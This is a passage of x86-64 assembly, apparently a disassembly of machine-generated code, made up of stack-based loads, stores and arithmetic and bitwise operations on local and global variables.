movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7118]
mov byte [rcx], al
lea rax, [rsp + 0x7238]
mov qword [rsp + 0x7b60], rax
mov rax, qword [rsp + 0x7738]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3bec], eax
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
mov qword [rsp + 0x7b68], rax
mov rax, qword [rsp + 0x6cd8]
mov ecx, dword [rsp + 0x3be0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c5c], eax
lea rax, [rsp + 0xcf0]
mov qword [0x14017a6d8], rax
movzx eax, word [rsp + 0xd1c]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6ef8]
mov word [rcx], ax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x7b70], rax
movsx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x7470]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x91], al
mov rax, qword [rsp + 0x7438]
movzx eax, word [rax]
mov word [rsp + 0xdb4], ax
mov rax, qword [rsp + 0x7198]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ef0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7278], rax
mov rax, qword [rsp + 0x7178]
mov rcx, qword [rsp + 0x79a0]
mov qword [rsp + 0x7b78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b78]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7558], rax
mov rax, qword [rsp + 0x77d8]
mov eax, dword [rax]
mov dword [rsp + 0x3d8c], eax
mov rax, qword [rsp + 0x6a28]
mov ecx, dword [rsp + 0x3c98]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6dc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7248]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc7c]
xor eax, ecx
mov word [0x140179060], ax
lea rax, [rsp + 0xc28]
mov qword [rsp + 0x7b80], rax
mov rax, qword [rsp + 0x6f00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x48]
sar eax, cl
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x7190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7b48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6a10]
mov byte [rcx], al
lea rax, [rsp + 0xbb]
mov qword [rsp + 0x7b88], rax
mov rax, qword [rsp + 0x7a78]
mov rcx, qword [rsp + 0x7ae0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7210]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c34]
mov dword [rsp + 0x3d90], eax
mov rax, qword [rsp + 0x6ef0]
mov rcx, qword [rsp + 0x7698]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ea0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6f08]
mov eax, dword [rax]
mov dword [rsp + 0x3d94], eax
mov rax, qword [rsp + 0x6b60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x71a0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb2], al
movzx eax, word [rsp + 0xd14]
movzx ecx, word [rsp + 0xc30]
imul eax, ecx
mov rcx, qword [0x14017a6c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7618]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x72a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x40], al
movzx eax, word [rsp + 0xcec]
mov word [rsp + 0xdb8], ax
movzx eax, word [rsp + 0xd74]
movzx ecx, word [rsp + 0xc98]
add eax, ecx
mov rcx, qword [rsp + 0x7228]
mov word [rcx], ax
lea rax, [rsp + 0x6e48]
mov qword [rsp + 0x7b90], rax
mov rax, qword [rsp + 0x7808]
mov ecx, dword [0x14017a4d0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ce4], eax
mov rax, qword [rsp + 0x7708]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7720]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6cc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7638]
mov eax, dword [rax]
mov dword [rsp + 0x3d98], eax
mov rax, qword [rsp + 0x72a8]
movzx eax, byte [rax]
movzx ecx, byte [0x14017a4fa]
sub eax, ecx
mov byte [rsp + 0x56], al
lea rax, [rsp + 0x80]
mov qword [0x14017a6e0], rax
movzx eax, byte [rsp + 0x97]
mov byte [rsp + 0xc3], al
mov rax, qword [rsp + 0x70f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xda0]
shl eax, cl
mov rcx, qword [rsp + 0x7258]
mov word [rcx], ax
mov rax, qword [0x14017a4e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd84]
xor eax, ecx
mov word [rsp + 0xc68], ax
mov eax, dword [rsp + 0x3c2c]
mov dword [rsp + 0x3d9c], eax
mov rax, qword [rsp + 0x71c8]
movzx ecx, al
mov rax, qword [rsp + 0x77d0]
sar rax, cl
mov qword [rsp + 0x6da8], rax
lea rax, [rsp + 0x3bf0]
mov qword [rsp + 0x7b98], rax
mov rax, qword [rsp + 0x7ad0]
mov rcx, qword [rsp + 0x6a20]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7380]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7490]
movsx eax, word [rax]
mov rcx, qword [0x14017a620]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7770]
mov word [rcx], ax
movzx eax, word [rsp + 0xcfc]
mov rcx, qword [rsp + 0x78b8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x14017a598], ax
mov rax, qword [rsp + 0x6dc8]
movzx eax, word [rax]
mov word [rsp + 0xdbc], ax
mov rax, qword [rsp + 0x7b48]
movzx eax, byte [rax]
mov rcx, qword [0x14017a670]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x71d0]
mov byte [rcx], al
lea rax, [rsp + 0xa5]
mov qword [rsp + 0x7ba0], rax
mov eax, dword [rsp + 0x3cf4]
mov ecx, dword [rsp + 0x3d00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c44], eax
mov rax, qword [rsp + 0x7400]
mov qword [rsp + 0x7ba8], rax
mov rax, qword [rsp + 0x7128]
mov rcx, qword [rsp + 0x71c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ab8], rax
mov rax, qword [rsp + 0x6cd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ce4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d94], eax
movzx eax, byte [rsp + 0xad]
mov byte [rsp + 0xc4], al
movsx eax, word [rsp + 0xc3c]
mov rcx, qword [rsp + 0x7438]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14017907c], ax
mov rax, qword [rsp + 0x7880]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x71b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x97], al
mov rax, qword [0x14017a5b0]
movzx eax, word [rax]
mov word [rsp + 0xdc0], ax
mov rax, qword [rsp + 0x71a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x71f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x65], al
movsx eax, byte [rsp + 0x59]
mov rcx, qword [rsp + 0x71a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7590]
mov byte [rcx], al
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov dword [rsp + 0x3da0], eax
mov rax, qword [rsp + 0x6fc8]
mov rcx, qword [rsp + 0x6e28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7b10], rax
mov rax, qword [rsp + 0x7230]
mov eax, dword [rax]
mov dword [rsp + 0x3da4], eax
mov rax, qword [rsp + 0x7740]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6bb0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7418], rax
mov rax, qword [rsp + 0x7348]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc8c]
shl eax, cl
mov word [0x14017a598], ax
mov rax, qword [rsp + 0x7220]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6d18]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x69], al
movzx eax, word [rsp + 0xc70]
mov word [rsp + 0xdc4], ax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7ac0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x79a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7580]
movzx eax, word [rax]
mov word [rsp + 0xdc8], ax
mov rax, qword [rsp + 0x6c30]
mov rcx, qword [rsp + 0x6ff0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6da8], rax
mov rax, qword [rsp + 0x7730]
mov rcx, qword [rsp + 0x7900]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6fb0]
mov qword [rcx], rax
lea rax, [rsp + 0x3c3c]
mov qword [rsp + 0x7bb0], rax
mov rax, qword [rsp + 0x6ad0]
mov eax, dword [rax]
mov ecx, dword [0x140179004]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3af0], eax
mov rax, qword [rsp + 0x79d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140179042], al
lea rax, [rsp + 0xcbc]
mov qword [rsp + 0x7bb8], rax
movsx eax, byte [rsp + 0x5d]
mov rcx, qword [rsp + 0x7538]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb7], al
lea rax, [rsp + 0xca4]
mov qword [rsp + 0x7bc0], rax
movzx eax, byte [rsp + 0x97]
mov rcx, qword [rsp + 0x6d68]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x6fc0]
mov rcx, qword [rsp + 0x7a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7498]
mov dword [rcx], eax
lea rax, [rsp + 0x3c70]
mov qword [rsp + 0x7bc8], rax
mov rax, qword [rsp + 0x71c8]
mov rcx, qword [rsp + 0x79f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x77d0], rax
lea rax, [rsp + 0x7760]
mov qword [rsp + 0x7bd0], rax
lea rax, [rsp + 0xdc0]
mov qword [0x14017a6e8], rax
mov rax, qword [rsp + 0x74d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x71b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x66], al
mov rax, qword [0x14017a540]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6a]
add eax, ecx
mov rcx, qword [rsp + 0x7b30]
mov byte [rcx], al
lea rax, [rsp + 0xcc4]
mov qword [rsp + 0x7bd8], rax
mov rax, qword [rsp + 0x78e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7220]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9b], al
lea rax, [rsp + 0x3cdc]
mov qword [rsp + 0x7be0], rax
mov rax, qword [rsp + 0x6ae8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x72d8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7250], rax
mov rax, qword [rsp + 0x6e08]
mov rcx, qword [rsp + 0x7370]
mov qword [rsp + 0x7be8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7be8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7958]
mov qword [rcx], rax
lea rax, [rsp + 0x3cf0]
mov qword [rsp + 0x7bf0], rax
mov rax, qword [rsp + 0x6ce8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7670]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [0x140179074], ax
mov rax, qword [rsp + 0x79e8]
movsx eax, byte [rax]
mov rcx, qword [0x14017a6d0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x79d8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0xc5], al
movsx eax, word [rsp + 0xd90]
movsx ecx, word [rsp + 0xcac]
shl eax, cl
mov rcx, qword [rsp + 0x7398]
mov word [rcx], ax
movzx eax, word [rsp + 0xd84]
mov word [rsp + 0xdcc], ax
mov rax, qword [rsp + 0x7588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6d70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a70], rax
mov eax, dword [rsp + 0x3c4c]
mov ecx, dword [rsp + 0x3d6c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x73b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3c98]
mov dword [rsp + 0x3da8], eax
mov rax, qword [rsp + 0x72d8]
mov rcx, qword [rsp + 0x7318]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7868], rax
mov rax, qword [rsp + 0x7320]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a508]
mov byte [rcx], al
lea rax, [rsp + 0xd00]
mov qword [rsp + 0x7bf8], rax
mov rax, qword [0x14017a5a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xca0]
add eax, ecx
mov word [rsp + 0xcec], ax
movzx eax, byte [rsp + 0x7b]
mov rcx, qword [rsp + 0x6e88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa0], al
mov rax, qword [0x14017a510]
movzx eax, byte [rax]
mov byte [rsp + 0xc6], al
mov eax, dword [rsp + 0x3c38]
mov ecx, dword [rsp + 0x3d34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7040]
mov dword [rcx], eax
mov rax, qword [rsp + 0x74f0]
mov rax, qword [rax]
mov qword [rsp + 0x7c00], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3c64]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6f98]
mov rcx, qword [rsp + 0x6de8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6aa0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7850]
movzx eax, word [rax]
mov word [0x14017a6f0], ax
lea rax, [rsp + 0xa5]
mov qword [rsp + 0x7c08], rax
mov rax, qword [rsp + 0x6b10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc34]
sar eax, cl
mov word [rsp + 0xd2c], ax
movzx eax, word [rsp + 0xc30]
mov word [rsp + 0xdd0], ax
mov rax, qword [rsp + 0x7b58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6fa8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x9f], al
mov eax, dword [rsp + 0x3c48]
mov rcx, qword [rsp + 0x7800]
mov qword [rsp + 0x7c10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7c10]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3d3c], eax
lea rax, [rsp + 0x7678]
mov qword [rsp + 0x7c18], rax
mov rax, qword [rsp + 0x73f8]
mov rcx, qword [rsp + 0x7a98]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7860]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c1c]
mov dword [rsp + 0x3dac], eax
mov rax, qword [rsp + 0x6b98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4c]
sub eax, ecx
mov byte [0x140179043], al
mov rax, qword [rsp + 0x7b00]
movsx eax, word [rax]
movsx ecx, word [0x14017a4e0]
and eax, ecx
mov rcx, qword [rsp + 0x6d28]
mov word [rcx], ax
lea rax, [rsp + 0xcb8]
mov qword [rsp + 0x7c20], rax
movzx eax, byte [rsp + 0x7e]
movzx ecx, byte [rsp + 0xa0]
sub eax, ecx
mov rcx, qword [rsp + 0x7758]
mov byte [rcx], al
mov rax, qword [rsp + 0x7448]
movsx eax, byte [rax]
movsx ecx, byte [0x14017901a]
add eax, ecx
mov byte [rsp + 0x4a], al
lea rax, [rsp + 0x7238]
mov qword [rsp + 0x7c28], rax
mov rax, qword [rsp + 0x7328]
mov rcx, qword [rsp + 0x7748]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6d58], rax
lea rax, [rsp + 0x3c24]
mov qword [rsp + 0x7c30], rax
mov eax, dword [rsp + 0x3d44]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bf0], eax
mov rax, qword [rsp + 0x7118]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x61]
add eax, ecx
mov rcx, qword [rsp + 0x6d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x6d28]
movsx eax, word [rax]
mov rcx, qword [0x14017a680]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a6d8]
mov word [rcx], ax
lea rax, [rsp + 0x96]
mov qword [rsp + 0x7c38], rax
movzx eax, word [rsp + 0xd74]
movzx ecx, word [rsp + 0xc1c]
add eax, ecx
mov word [rsp + 0xcb8], ax
mov rax, qword [rsp + 0x7880]
movzx eax, byte [rax]
mov byte [rsp + 0xc7], al
mov eax, dword [rsp + 0x3cdc]
mov ecx, dword [rsp + 0x3da0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x77d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7330]
mov qword [rsp + 0x7c40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7c40]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3da8], eax
lea rax, [rsp + 0x72a0]
mov qword [rsp + 0x7c48], rax
mov rax, qword [rsp + 0x72b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x71c8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x71e8]
mov qword [rcx], rax
lea rax, [rsp + 0xcc4]
mov qword [rsp + 0x7c50], rax
lea rax, [rsp + 0xc4c]
mov qword [0x14017a6f8], rax
mov rax, qword [rsp + 0x6dd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6b30]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6ce8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7030]
movzx eax, word [rax]
mov word [rsp + 0xdd4], ax
mov rax, qword [rsp + 0x77f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7650]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x7178]
mov rcx, qword [rsp + 0x6d20]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6f50]
mov qword [rcx], rax
lea rax, [rsp + 0x3d88]
mov qword [rsp + 0x7c58], rax
mov eax, dword [rsp + 0x3d00]
mov ecx, dword [rsp + 0x3cf4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d98], eax
mov rax, qword [rsp + 0x7318]
mov qword [rsp + 0x7c60], rax
movzx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x7388]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7398]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140179044], ax
mov rax, qword [rsp + 0x6f88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56]
sub eax, ecx
mov byte [rsp + 0x45], al
mov rax, qword [rsp + 0x7130]
movzx eax, byte [rax]
mov byte [rsp + 0xc8], al
movzx eax, word [rsp + 0xd9c]
movzx ecx, word [rsp + 0xd8c]
add eax, ecx
mov rcx, qword [rsp + 0x79a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e48]
mov qword [rsp + 0x7c68], rax
mov rax, qword [rsp + 0x7c00]
mov rcx, qword [rsp + 0x7068]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7290], rax
mov rax, qword [rsp + 0x6e40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b4c], eax
lea rax, [rsp + 0x3d68]
mov qword [rsp + 0x7c70], rax
movzx eax, word [rsp + 0xc7c]
mov rcx, qword [rsp + 0x7c20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc0c], ax
lea rax, [0x14017901b]
mov qword [0x14017a700], rax
movzx eax, word [rsp + 0xd44]
mov word [rsp + 0xdd8], ax
mov rax, qword [rsp + 0x78a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7b88]
mov byte [rcx], al
movsx eax, byte [rsp + 0xa3]
mov rcx, qword [0x14017a700]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6e70]
mov byte [rcx], al
lea rax, [rsp + 0xd00]
mov qword [rsp + 0x7c78], rax
mov rax, qword [rsp + 0x7498]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c80]
shl eax, cl
mov rcx, qword [rsp + 0x72d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3c34]
mov dword [rsp + 0x3db0], eax
mov rax, qword [rsp + 0x7b90]
mov rcx, qword [rsp + 0x7218]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6c50], rax
mov rax, qword [rsp + 0x6a20]
mov rax, qword [rax]
mov qword [rsp + 0x7c80], rax
movsx eax, byte [rsp + 0x46]
movsx ecx, byte [rsp + 0x59]
sar eax, cl
mov rcx, qword [0x14017a5f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7870]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7a20]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x45], al
movzx eax, word [rsp + 0xd18]
movzx ecx, word [rsp + 0xcb8]
and eax, ecx
mov rcx, qword [rsp + 0x6e30]
mov word [rcx], ax
lea rax, [0x14017a5c0]
mov qword [rsp + 0x7c88], rax
movsx eax, byte [rsp + 0x81]
mov rcx, qword [rsp + 0x75d8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x3c88]
mov dword [rsp + 0x3db4], eax
mov rax, qword [rsp + 0x7c28]
mov rcx, qword [rsp + 0x7078]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6c30], rax
mov rax, qword [rsp + 0x7718]
mov rcx, qword [rsp + 0x77c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3af0], eax
mov rax, qword [rsp + 0x7508]
mov rax, qword [rax]
mov qword [rsp + 0x7c90], rax
mov rax, qword [rsp + 0x77c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x74a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a4e3], al
movzx eax, byte [rsp + 0x8c]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0x6cd0]
movzx eax, byte [rax]
mov byte [rsp + 0xc9], al
movsx eax, word [rsp + 0xd04]
movsx ecx, word [0x140179050]
sub eax, ecx
mov word [rsp + 0xd3c], ax
movsx eax, word [rsp + 0xc34]
movsx ecx, word [rsp + 0xc88]
sub eax, ecx
mov rcx, qword [rsp + 0x6b40]
mov word [rcx], ax
mov rax, qword [rsp + 0x75b0]
mov eax, dword [rax]
mov dword [rsp + 0x3db8], eax
mov rax, qword [rsp + 0x6f30]
mov rcx, qword [rsp + 0x6be8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x73f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7040]
mov eax, dword [rax]
mov dword [rsp + 0x3dbc], eax
mov rax, qword [rsp + 0x7c48]
mov rcx, qword [rsp + 0x6a20]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x72a0], rax
mov rax, qword [0x14017a6e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x76e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140179080], ax
mov rax, qword [rsp + 0x6f88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x87]
or eax, ecx
mov rcx, qword [rsp + 0x6fd0]
mov byte [rcx], al
lea rax, [rsp + 0xc60]
mov qword [rsp + 0x7c98], rax
mov rax, qword [rsp + 0x7650]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x57]
shl eax, cl
mov byte [rsp + 0x77], al
movzx eax, word [rsp + 0xc74]
mov word [rsp + 0xddc], ax
mov rax, qword [rsp + 0x7040]
mov rcx, qword [rsp + 0x6cd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3b4c], eax
lea rax, [0x140179010]
mov qword [rsp + 0x7ca0], rax
mov rax, qword [rsp + 0x7200]
mov ecx, dword [rsp + 0x3c7c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x74f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7378]
mov rcx, qword [rsp + 0x74d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7530], rax
movsx eax, word [rsp + 0xcac]
movsx ecx, word [rsp + 0xc48]
add eax, ecx
mov word [0x140179084], ax
movzx eax, word [rsp + 0xd14]
mov word [rsp + 0xde0], ax
mov rax, qword [rsp + 0x7b58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7a28]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7448]
mov byte [rcx], al
mov rax, qword [rsp + 0x7340]
movzx eax, byte [rax]
mov byte [rsp + 0xca], al
movsx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0x7130]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x75c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7ba8]
mov rcx, qword [rsp + 0x7720]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7980]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3cac]
mov dword [rsp + 0x3dc0], eax
mov rax, qword [rsp + 0x73a8]
mov ecx, dword [rsp + 0x3b4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3da4], eax
mov rax, qword [rsp + 0x6e08]
mov qword [rsp + 0x7ca8], rax
mov rax, qword [rsp + 0x7438]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7500]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140179064], ax
mov rax, qword [rsp + 0x7598]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9d]
sub eax, ecx
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x6b40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b10]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6be0]
mov word [rcx], ax
mov rax, qword [rsp + 0x75a8]
movzx eax, byte [rax]
mov byte [rsp + 0xcb], al
mov rax, qword [rsp + 0x6d90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6e10]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xd74], ax
lea rax, [rsp + 0x7050]
mov qword [rsp + 0x7cb0], rax
mov eax, dword [rsp + 0x3c50]
movzx ecx, al
mov eax, dword [rsp + 0x3d94]
sar eax, cl
mov dword [rsp + 0x3ce0], eax
mov eax, dword [rsp + 0x3cc4]
mov dword [rsp + 0x3dc4], eax
mov rax, qword [rsp + 0x7b50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x74c0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6eb8]
movzx eax, word [rax]
mov word [0x14017a708], ax
mov rax, qword [rsp + 0x6fa0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9b]
and eax, ecx
mov byte [rsp + 0x63], al
lea rax, [rsp + 0xcc4]
mov qword [rsp + 0x7cb8], rax
movzx eax, word [rsp + 0xce8]
movzx ecx, word [rsp + 0xdd0]
imul eax, ecx
mov word [rsp + 0xc24], ax
lea rax, [rsp + 0x52]
mov qword [rsp + 0x7cc0], rax
mov rax, qword [rsp + 0x71a8]
mov ecx, dword [rsp + 0x3bec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c4c], eax
mov rax, qword [rsp + 0x7958]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6d20]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7210]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a58]
mov qword [rsp + 0x7cc8], rax
mov rax, qword [rsp + 0x7aa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d14]
sub ecx, eax
mov eax, ecx
